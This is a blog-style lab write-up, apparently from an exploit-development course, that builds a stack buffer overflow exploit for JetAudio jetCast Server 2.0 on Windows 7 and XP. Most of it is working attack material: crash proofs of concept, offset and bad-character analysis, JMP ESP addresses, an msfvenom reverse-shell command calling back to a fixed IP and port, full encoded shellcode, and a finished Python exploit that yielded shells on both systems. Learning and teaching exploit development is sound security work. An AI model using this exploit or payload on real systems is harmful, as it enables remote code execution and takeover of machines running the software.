Being curious

15 Jun 2019

JetAudio jetCast Server 2.0 exploit

Overview

Below work was done as part of Udemy course - https://www.udemy.com/hands-on-exploit-development/.

Exploit developed for JetAudio jetCast Server 2.0. Copy of vulnerable application obtained from https://www.exploit-db.com/apps/aa8b0ffe339644e7b73da49c72c1fb39-JCS2000.exe.

Exploit developed to run on Windows 7 and Windows XP. Details from both systems are below.

Windows 7:

C:\Users\IEUser>systeminfo

Host Name:                 IEWIN7
OS Name:                   Microsoft Windows 7 Enterprise
OS Version:                6.1.7601 Service Pack 1 Build 7601

Windows XP:

C:\Documents and Settings\Administrator>systeminfo

Host Name:                WINXP
OS Name:                   Microsoft Windows XP Professional
OS Version:                5.1.2600 Service Pack 3 Build 2600

Replicating the crash

As an initial step the crash was replicated. This was done to confirm the application is vulnerable and observe the behaviour during the crash. To replicate the crash the basic proof of concept script from exploit-db was used.

#Steps to produce the crash:
#1.- Run python code: jetCast_Server_2.0.py
#2.- Open jetCast.txt and copy content to clipboard
#2.- Open jetCast Server 
#3.- Select Config 
#4.- In "Log directory" Paste ClipBoard 
#5.- Click on "Ok"
#6.- Click on "Start"
#7.- Crashed

cod = "\x41" * 5000
f = open('jetCast.txt', 'w')
f.write(cod)
f.close()

Steps listed in the POC were followed and the crash occurred.

jetCast Audio Replicating the crash

Items of interest from analysing the output of the crash are below. This confirms the log directory configuration parameter is suspectible to a generic buffer overflow.

  • EIP has been cleanly overwritten with A – 41414141
  • ECX has been cleanly overwritten with A – 41414141
  • ESP points to part of the A buffer - 0018EE54 – guess is this is right after the EIP location
  • Other registers don’t appear to point to anything significant

Finding the offset

As a next step the buffer offset which overwrites the identified registers needs to be confirmed. This is done to confirm where code needs to be replaced to manipulate program execution. To compare different techniques this was done manually using msf-pattern_create and using the functionality in monya.py.

Using msf-pattern_create

The POC was first updated with a 5000-character pattern created using msf-pattern_create. The crash was then re-triggered and output examined.

Using msf pattern create

Of interest:

  • EIP points to 0x72413772 – querying this value gives an exact match at 532
root@kali2019:~/Documents/exploits# msf-pattern_offset -l 5000 -q 72413772
[*] Exact match at offset 532
  • ECX points to 0x72413372 – querying this value gives an exact match at 520
root@kali2019:~/Documents/exploits# msf-pattern_offset -l 5000 -q 72413372
[*] Exact match at offset 520
  • ESP points to part of the buffer - 0018EE54 – querying this value gives an exact match at 536. This confirms ESP is pointing directly after EIP.
root@kali2019:~# msf-pattern_offset -l 5000 -q 8Ar9
[*] Exact match at offset 536

Using mona.py

Commands from https://www.corelan.be/index.php/2011/07/14/mona-py-the-manual/ were used to complete this step.

  • !mona config -set workingfolder c:\exploit%p
  • !mona pattern_create 5000

The POC was first updated with a 5000-character pattern created using the pattern_create command. The crash was then re-triggered and output examined.

Using mona.py

Of interest:

  • EIP points to 0x72413772 – querying this value gives us an exact match at 532
!mona pattern_offset 0x72413772
!mona findmsp
Message=    EIP contains normal pattern : 0x72413772 (offset 532)
  • ECX points to 0x72413372 – querying this value gives us an exact match at 520
!mona pattern_offset 0x72413372
!mona findmsp
Message=    ECX contains normal pattern : 0x72413372 (offset 520)
  • ESP points to part of the buffer - 0018EE54 – guess is this is right after the EIP location. Output of the !mona findmsp command confirms this:
Message=    ESP (0x0018ee54) points at offset 536 in normal pattern (length 4464

Validating offsets

Buffer overflow condition and EIP/ESP offsets have been identified. Target for exploit is to overwrite EIP with a JMP ESP instruction and then place target shellcode at ESP.

Based on the identified offsets POC code updated to:

cod = "A" * 520 + "B" * 12 + "C" * 4 + "D" * 4464
f = open('jetCast.txt', 'w')
f.write(cod)
f.close()

Re-generating the file and re-triggering the exploit works as expected.

Validating the offsets

  • ESP is cleanly overwritten by all C values (confirms offset was correct)
  • ECX points to the beginning of 8 B values. 12 were written via the POC so the last 4 are mangled by the program
  • ESP points to the start of the D values. Noted as being in the range: 0018EE54 – 0018FFC4. Checking the difference between both addresses notes that all 4464 bytes in the final array were written. This should be more than sufficient space for shellcode.

Identifying bad characters

Done Manually

POC was updated to send normal list of bad characters in place of the ‘D’ values. 0x00 initially assumed as bad character so was removed from the initial set.

First run (255 bad characters submitted)

Triggering the exploit with 255 bad characters reveals the below in the dump.

0018F0AC  01 02 03 04 05 06 07 08  
0018F0B4  09 00 F4 02 30 F2 18 00  ..ô0ò.
0018F0BC  98 48 80 00 94 6A 01 10  ˜H€.”j
0018F0C4  D0 4F 03 10 40 1F 00 00  ÐO@­..
0018F0CC  00 00 00 00 24 FD 18 00  ....$ý.
0018F0D4  3F ED 41 00 40 1F 00 00  ?íA.@­..
0018F0DC  00 00 00 00 B0 F5 18 00  ....°õ.

Value returned suggests 0x0A is a bad character. This is due to it not being present in the dump and values following where it would be are mangled. Character removed from POC and exploit re-triggered.

Second run (254 bad characters submitted)

Triggering the exploit with 254 bad characters reveals the below in the dump.

0018EE54  01 02 03 04 05 06 07 08  
0018EE5C  09 0B 0C 00 D8 EF 18 00  ...Øï.
0018EE64  98 48 77 00 94 6A 01 10  ˜Hw.”j
0018EE6C  D0 4F 03 10 40 1F 00 00  ÐO@­..
0018EE74  00 00 00 00 24 FD 18 00  ....$ý.

Value returned suggests 0x0D is a bad character. This is due to it not being present in the dump and values following where it would be are mangled. Character removed from POC and exploit re-triggered.

Third run (253 bad characters submitted)

Triggering the exploit with 253 bad characters reveals the below in the dump.

0018EE54  01 02 03 04 05 06 07 08  
0018EE5C  09 0B 0C 0E 0F 10 11 12  . .
0018EE64  13 14 15 16 17 18 19 1A  
0018EE6C  1B 1C 1D 1E 1F 20 21 22  ‑­ !"
0018EE74  23 24 25 26 27 28 29 2A  #$%&'()*
0018EE7C  2B 2C 2D 2E 2F 30 31 32  +,-./012
0018EE84  33 34 35 36 37 38 39 3A  3456789:
0018EE8C  3B 3C 3D 3E 3F 40 41 42  ;<=>?@AB
0018EE94  43 44 45 46 47 48 49 4A  CDEFGHIJ
0018EE9C  4B 4C 4D 4E 4F 50 51 52  KLMNOPQR
0018EEA4  53 54 55 56 57 58 59 5A  STUVWXYZ
0018EEAC  5B 5C 5D 5E 5F 60 61 62  [\]^_`ab
0018EEB4  63 64 65 66 67 68 69 6A  cdefghij
0018EEBC  6B 6C 6D 6E 6F 70 71 72  klmnopqr
0018EEC4  73 74 75 76 77 78 79 7A  stuvwxyz
0018EECC  7B 7C 7D 7E 7F 80 81 82  {|}~€‚
0018EED4  83 84 85 86 87 88 89 8A  ƒ„…†‡ˆ‰Š
0018EEDC  8B 8C 8D 8E 8F 90 91 92  ‹ŒŽ‘’
0018EEE4  93 94 95 96 97 98 99 9A  “”•–—˜™š
0018EEEC  9B 9C 9D 9E 9F A0 A1 A2  ›œžŸ ¡¢
0018EEF4  A3 A4 A5 A6 A7 A8 A9 AA  £¤¥¦§¨©ª
0018EEFC  AB AC AD AE AF B0 B1 B2  «¬­®¯°±²
0018EF04  B3 B4 B5 B6 B7 B8 B9 BA  ³´µ¶·¸¹º
0018EF0C  BB BC BD BE BF C0 C1 C2  »¼½¾¿ÀÁÂ
0018EF14  C3 C4 C5 C6 C7 C8 C9 CA  ÃÄÅÆÇÈÉÊ
0018EF1C  CB CC CD CE CF D0 D1 D2  ËÌÍÎÏÐÑÒ
0018EF24  D3 D4 D5 D6 D7 D8 D9 DA  ÓÔÕÖ×ØÙÚ
0018EF2C  DB DC DD DE DF E0 E1 E2  ÛÜÝÞßàáâ
0018EF34  E3 E4 E5 E6 E7 E8 E9 EA  ãäåæçèéê
0018EF3C  EB EC ED EE EF F0 F1 F2  ëìíîïðñò
0018EF44  F3 F4 F5 F6 F7 F8 F9 FA  óôõö÷øùú
0018EF4C  FB FC FD FE FF           ûüýþÿ

From visual inspection of the dump values all transmitted characters appear to have been written to memory. This indicates the only three bad characters are 0x00, 0x0A, 0x0D.

Validating Bad characters with Mona

Identified bad characters were then identified using mona.py functionality. Commands run to generate a bytearray for comparison are:

  • !mona config -set workingfolder c:\logs%p
  • !mona bytearray -cpb “\x00\x0A\x0D”

Byte array was then copied into the POC and exploit was re-triggered. Mona was then used to examine the portion of memory at ESP against the generated bytearray.

  • !mona compare -f c:\logs\JCServer\bytearray.bin -a 0018EE54

Running the compare command then returns success. This confirms the only bad characters are 0x00, 0x0A, 0x0D.

[+] Comparing with memory at location : 0x0018ee54 (Stack)
!!! Hooray, normal shellcode unmodified !!!
Bytes omitted from input: 00 0a 0d

Controlling the Execution

System # 1 (Microsoft Windows 6.1.7601 Service Pack 1 Build 7601)

Approach taken is to overwrite the EIP register with a JMP ESP instruction. Shellcode can then be placed at the ESP location in memory.

To improve exploit reliability a JMP ESP instruction not affected by memory protection is the target. Mona used to identify modules not protected by memory protection methods.

  • !mona modules -cm aslr=false,rebase=false,safeseh=false

This identified three modules which may have a reliable usable JMP ESP command.

<SNIP>
0BADF00D    0x77ed0000 | 0x77f31000 | 0x00061000 | False  | False   | False |  False   | False  | 6.00.8168.0 [MSVCP60.dll] (C:\Program Files (x86)\JetCast Server\MSVCP60.dll)
0BADF00D    0x00400000 | 0x00446000 | 0x00046000 | False  | False   | False |  False   | False  | 2.0.0.4308 [JCServer.exe] (C:\Program Files (x86)\JetCast Server\JCServer.exe)
0BADF00D    0x5f400000 | 0x5f4f2000 | 0x000f2000 | False  | False   | False |  False   | False  | 6.00.8665.0 [MFC42.DLL] (C:\Program Files (x86)\JetCast Server\MFC42.DLL)
<SNIP>

The identified modules were then searched for a JMP ESP instruction. Amended output of command is below.

  • !mona jmp -r ESP -m MSVCP60*,JCServer*,MFC42*
<SNIP>
0BADF00D   [+] Results :
77EF9D55     0x77ef9d55 : jmp esp |  {PAGE_EXECUTE_READ} [MSVCP60.dll] ASLR: False, Rebase: False, SafeSEH: False, OS: False, v6.00.8168.0 (C:\Program Files (x86)\JetCast Server\MSVCP60.dll)
77EE5D4F     0x77ee5d4f : push esp # ret  |  {PAGE_EXECUTE_READ} [MSVCP60.dll] ASLR: False, Rebase: False, SafeSEH: False, OS: False, v6.00.8168.0 (C:\Program Files (x86)\JetCast Server\MSVCP60.dll)
5F4774D5     0x5f4774d5 : push esp # ret  |  {PAGE_EXECUTE_READ} [MFC42.DLL] ASLR: False, Rebase: False, SafeSEH: False, OS: False, v6.00.8665.0 (C:\Program Files (x86)\JetCast Server\MFC42.DLL)
5F4955C4     0x5f4955c4 : push esp # ret  |  {PAGE_EXECUTE_READ} [MFC42.DLL] ASLR: False, Rebase: False, SafeSEH: False, OS: False, v6.00.8665.0 (C:\Program Files (x86)\JetCast Server\MFC42.DLL)
5F49948D     0x5f49948d : push esp # ret  |  {PAGE_EXECUTE_READ} [MFC42.DLL] ASLR: False, Rebase: False, SafeSEH: False, OS: False, v6.00.8665.0 (C:\Program Files (x86)\JetCast Server\MFC42.DLL)
<SNIP>

Addresses found in JCServer.exe were not suitable due to containing a bad character (0x00). Remaining addresses are shown above. 0x77ef9d55 picked as it gives a solid JMP ESP that does not contain any bad characters

System # 2 (Microsoft Windows 5.1.2600 Service Pack 3 Build 2600)

Approach taken is to overwrite the EIP register with a JMP ESP instruction. Shellcode can then be placed at the ESP location in memory.

To improve exploit reliability a JMP ESP instruction not affected by memory protection is the target. Mona used to identify modules not protected by memory protection methods.

  • !mona modules -cm aslr=false,rebase=false,safeseh=false

This identified two modules which may have a reliable usable JMP ESP command. The first can be discounted as it’s address contains a null (x00) byte. This leaves MFC42.DLL as the target to search.

<SNIP>
0BADF00D    0x00400000 | 0x00446000 | 0x00046000 | False  | False   | False |  False   | False  | 2.0.0.4308 [JCServer.exe] (C:\Program Files\JetCast Server\JCServer.exe)
0BADF00D    0x5f400000 | 0x5f4f2000 | 0x000f2000 | False  | False   | False |  False   | False  | 6.00.8665.0 [MFC42.DLL] (C:\Program Files\JetCast Server\MFC42.DLL)
<SNIP>

The identified modules were then searched for a JMP ESP instruction. Amended output of command is below.

  • !mona jmp -r ESP -m MFC42*
<SNIP>
5F4774D5     0x5f4774d5 : push esp # ret  |  {PAGE_EXECUTE_READ} [MFC42.DLL] ASLR: False, Rebase: False, SafeSEH: False, OS: False, v6.00.8665.0 (C:\Program Files\JetCast Server\MFC42.DLL)
5F4955C4     0x5f4955c4 : push esp # ret  |  {PAGE_EXECUTE_READ} [MFC42.DLL] ASLR: False, Rebase: False, SafeSEH: False, OS: False, v6.00.8665.0 (C:\Program Files\JetCast Server\MFC42.DLL)
5F49948D     0x5f49948d : push esp # ret  |  {PAGE_EXECUTE_READ} [MFC42.DLL] ASLR: False, Rebase: False, SafeSEH: False, OS: False, v6.00.8665.0 (C:\Program Files\JetCast Server\MFC42.DLL)
<SNIP>

Remaining addresses are shown above 0x5f4774d5 as it is the first suitable one identified.

Cracking the shell

Generating shellcode

Taking into account what’s been learnt reverse shellcode was generated using msfvenom (command: msfvenom -p windows/shell_reverse_tcp LHOST=192.168.139.129 LPORT=5556 -b ‘\x00\x0A\x0D’ -f python). To address the bad character requirements msfvenom automatically encoded the payload using x86/shikata_ga_nai.

[-] No platform was selected, choosing Msf::Module::Platform::Windows from the payload
[-] No arch selected, selecting arch: x86 from the payload
Found 11 compatible encoders
Attempting to encode payload with 1 iterations of x86/shikata_ga_nai
x86/shikata_ga_nai succeeded with size 351 (iteration=0)
x86/shikata_ga_nai chosen with final size 351
Payload size: 351 bytes
Final size of python file: 1684 bytes
buf =  ""
buf += "\xbf\xc6\xbc\xaf\x95\xda\xc1\xd9\x74\x24\xf4\x5d\x29"
buf += "\xc9\xb1\x52\x31\x7d\x12\x83\xed\xfc\x03\xbb\xb2\x4d"
buf += "\x60\xbf\x23\x13\x8b\x3f\xb4\x74\x05\xda\x85\xb4\x71"
buf += "\xaf\xb6\x04\xf1\xfd\x3a\xee\x57\x15\xc8\x82\x7f\x1a"
buf += "\x79\x28\xa6\x15\x7a\x01\x9a\x34\xf8\x58\xcf\x96\xc1"
buf += "\x92\x02\xd7\x06\xce\xef\x85\xdf\x84\x42\x39\x6b\xd0"
buf += "\x5e\xb2\x27\xf4\xe6\x27\xff\xf7\xc7\xf6\x8b\xa1\xc7"
buf += "\xf9\x58\xda\x41\xe1\xbd\xe7\x18\x9a\x76\x93\x9a\x4a"
buf += "\x47\x5c\x30\xb3\x67\xaf\x48\xf4\x40\x50\x3f\x0c\xb3"
buf += "\xed\x38\xcb\xc9\x29\xcc\xcf\x6a\xb9\x76\x2b\x8a\x6e"
buf += "\xe0\xb8\x80\xdb\x66\xe6\x84\xda\xab\x9d\xb1\x57\x4a"
buf += "\x71\x30\x23\x69\x55\x18\xf7\x10\xcc\xc4\x56\x2c\x0e"
buf += "\xa7\x07\x88\x45\x4a\x53\xa1\x04\x03\x90\x88\xb6\xd3"
buf += "\xbe\x9b\xc5\xe1\x61\x30\x41\x4a\xe9\x9e\x96\xad\xc0"
buf += "\x67\x08\x50\xeb\x97\x01\x97\xbf\xc7\x39\x3e\xc0\x83"
buf += "\xb9\xbf\x15\x03\xe9\x6f\xc6\xe4\x59\xd0\xb6\x8c\xb3"
buf += "\xdf\xe9\xad\xbc\x35\x82\x44\x47\xde\x6d\x30\xcc\x9f"
buf += "\x06\x43\xd2\x8a\x62\xca\x34\xde\x9a\x9b\xef\x77\x02"
buf += "\x86\x7b\xe9\xcb\x1c\x06\x29\x47\x93\xf7\xe4\xa0\xde"
buf += "\xeb\x91\x40\x95\x51\x37\x5e\x03\xfd\xdb\xcd\xc8\xfd"
buf += "\x92\xed\x46\xaa\xf3\xc0\x9e\x3e\xee\x7b\x09\x5c\xf3"
buf += "\x1a\x72\xe4\x28\xdf\x7d\xe5\xbd\x5b\x5a\xf5\x7b\x63"
buf += "\xe6\xa1\xd3\x32\xb0\x1f\x92\xec\x72\xc9\x4c\x42\xdd"
buf += "\x9d\x09\xa8\xde\xdb\x15\xe5\xa8\x03\xa7\x50\xed\x3c"
buf += "\x08\x35\xf9\x45\x74\xa5\x06\x9c\x3c\xd5\x4c\xbc\x15"
buf += "\x7e\x09\x55\x24\xe3\xaa\x80\x6b\x1a\x29\x20\x14\xd9"
buf += "\x31\x41\x11\xa5\xf5\xba\x6b\xb6\x93\xbc\xd8\xb7\xb1"

Updating the proof of concept

POC was then updated to use the generated shellcode. Final POC used against system # 1 is below.

#Steps to produce the crash:
#1.- Run Exploit code
#2.- Open jetCast.txt and copy content to clipboard
#2.- Open jetCast Server 
#3.- Select Config 
#4.- In "Log directory" Paste ClipBoard 
#5.- Click on "Ok"
#6.- Click on "Start"
#7.- Crashed

#!usr/bin/python
 
from struct import pack

# OS Name:                   Microsoft Windows 7 Enterprise
# OS Version:                6.1.7601 Service Pack 1 Build 7601
# return address for 0x77ef9d55 

# OS Name:					 Microsoft XP Professional
# return address for 0x5f4955c4
 
buf =  ""
buf += "\xbf\xc6\xbc\xaf\x95\xda\xc1\xd9\x74\x24\xf4\x5d\x29"
buf += "\xc9\xb1\x52\x31\x7d\x12\x83\xed\xfc\x03\xbb\xb2\x4d"
buf += "\x60\xbf\x23\x13\x8b\x3f\xb4\x74\x05\xda\x85\xb4\x71"
buf += "\xaf\xb6\x04\xf1\xfd\x3a\xee\x57\x15\xc8\x82\x7f\x1a"
buf += "\x79\x28\xa6\x15\x7a\x01\x9a\x34\xf8\x58\xcf\x96\xc1"
buf += "\x92\x02\xd7\x06\xce\xef\x85\xdf\x84\x42\x39\x6b\xd0"
buf += "\x5e\xb2\x27\xf4\xe6\x27\xff\xf7\xc7\xf6\x8b\xa1\xc7"
buf += "\xf9\x58\xda\x41\xe1\xbd\xe7\x18\x9a\x76\x93\x9a\x4a"
buf += "\x47\x5c\x30\xb3\x67\xaf\x48\xf4\x40\x50\x3f\x0c\xb3"
buf += "\xed\x38\xcb\xc9\x29\xcc\xcf\x6a\xb9\x76\x2b\x8a\x6e"
buf += "\xe0\xb8\x80\xdb\x66\xe6\x84\xda\xab\x9d\xb1\x57\x4a"
buf += "\x71\x30\x23\x69\x55\x18\xf7\x10\xcc\xc4\x56\x2c\x0e"
buf += "\xa7\x07\x88\x45\x4a\x53\xa1\x04\x03\x90\x88\xb6\xd3"
buf += "\xbe\x9b\xc5\xe1\x61\x30\x41\x4a\xe9\x9e\x96\xad\xc0"
buf += "\x67\x08\x50\xeb\x97\x01\x97\xbf\xc7\x39\x3e\xc0\x83"
buf += "\xb9\xbf\x15\x03\xe9\x6f\xc6\xe4\x59\xd0\xb6\x8c\xb3"
buf += "\xdf\xe9\xad\xbc\x35\x82\x44\x47\xde\x6d\x30\xcc\x9f"
buf += "\x06\x43\xd2\x8a\x62\xca\x34\xde\x9a\x9b\xef\x77\x02"
buf += "\x86\x7b\xe9\xcb\x1c\x06\x29\x47\x93\xf7\xe4\xa0\xde"
buf += "\xeb\x91\x40\x95\x51\x37\x5e\x03\xfd\xdb\xcd\xc8\xfd"
buf += "\x92\xed\x46\xaa\xf3\xc0\x9e\x3e\xee\x7b\x09\x5c\xf3"
buf += "\x1a\x72\xe4\x28\xdf\x7d\xe5\xbd\x5b\x5a\xf5\x7b\x63"
buf += "\xe6\xa1\xd3\x32\xb0\x1f\x92\xec\x72\xc9\x4c\x42\xdd"
buf += "\x9d\x09\xa8\xde\xdb\x15\xe5\xa8\x03\xa7\x50\xed\x3c"
buf += "\x08\x35\xf9\x45\x74\xa5\x06\x9c\x3c\xd5\x4c\xbc\x15"
buf += "\x7e\x09\x55\x24\xe3\xaa\x80\x6b\x1a\x29\x20\x14\xd9"
buf += "\x31\x41\x11\xa5\xf5\xba\x6b\xb6\x93\xbc\xd8\xb7\xb1"
 
payload = ''
payload += 'A'*532      
payload += pack('<L', 0x77ef9d55)
payload += '\x90'*16
payload += buf        # shellcode

f = open('jetCast.txt', 'w')
f.write(payload)
f.close()

Obtaining shell on system # 1

Shell was then obtained on remote system using the prepared exploit. Confirmation of shell obtained is shown below.

Shell on system 1

Obtaining shell on system # 2

Shell was then obtained on remote system using the prepared exploit. Confirmation of shell obtained is shown below.

Shell on system 2